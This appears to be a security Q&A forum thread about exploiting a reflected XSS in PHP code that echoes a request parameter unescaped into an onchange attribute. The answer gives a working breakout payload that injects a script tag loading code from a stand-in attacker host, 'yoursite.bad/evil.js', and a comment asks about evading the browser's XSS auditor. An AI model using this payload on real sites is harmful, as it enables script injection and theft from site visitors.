0

The XSS vector is at the * but the function issue_type is not declared hence my payload is not getting executed.

following is the instance of the vulnerable code:-

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, *)" style="height:30px;">

the actual code is like the following:

echo '<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, ".$_REQUEST['issue_id'].")" style="height:30px;">';

so I tried:-

issue_id=alert(1)

which resulted into:-

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, alert(1))" style="height:30px;">

as function issue_type is not defined in the page the payload did not execute as the onchange attribute did not execute.

How can i modify my payload to exploit xss?

  • It's not a particularly common method of XSS prevention, and shouldn't be relied upon, but it will prevent you from doing much, if they're properly escaping the content so you can't break out of the function context. Do you have a specific question? – Matthew Aug 23 '17 at 13:51
  • issue_type being undefined would not stop the code passed as an argument from being evaluated – Alexander O'Mara Aug 23 '17 at 15:09
  • 1
    @Aayush: Is there a specific question you would like answered? – user52472 Aug 23 '17 at 15:34
  • hi @user52472, please find my query edited as above. – Aayush Aug 23 '17 at 17:33
  • @user52472 issue_type(this, alert(1)); -- Uncaught ReferenceError: issue_type is not defined. No alert boxes. – Dog eat cat world Aug 23 '17 at 18:35
2

It very much depends on the exact details. You say

the actual code is like the following:

(emphasis mine). If the actual code is just like what you wrote then XSS injection is very easy. The reason is because the javascript error doesn't matter. It doesn't matter because you can completely escape the HTML attribute context and just inject your own scripts directly. You could imagine a payload like this:

http://www.example.com/vulnerable-page?issue_id=1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

Since PHP is outputting your request directly, you have full control over the final page. In short, 1)"> serves to close the select tag. The actual html will end up as:

<select  name="sub_subissues" id="_subsubissues" onchange="issue_type(this, 1)"><script type="text/javascript" src="http://yoursite.bad/evil.js">

The bug still stays there, but instead you get to directly inject a javascript file onto the page, which is all you need. If the user were to change the select value there would be a javascript error, but your code will run on page load so it really doesn't matter.

  • A tag based Xss would be caught by the Xss auditor what can be done other than a tag based xss. – Aayush Aug 24 '17 at 4:14
  • That is another question all together. There are a variety of strategies to attempt to bypass modern XSS auditors that can depend on both the exact details of the cleaning done server side to protect against XSS injection (if any) as well as the surrounding HTML. You may or may not have any good options here. XSS auditors can be tricky. Without more comprehensive details, it might be hard to come up with suggestions. Google may be your fiend here. – Conor Mancone Aug 25 '17 at 13:06

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.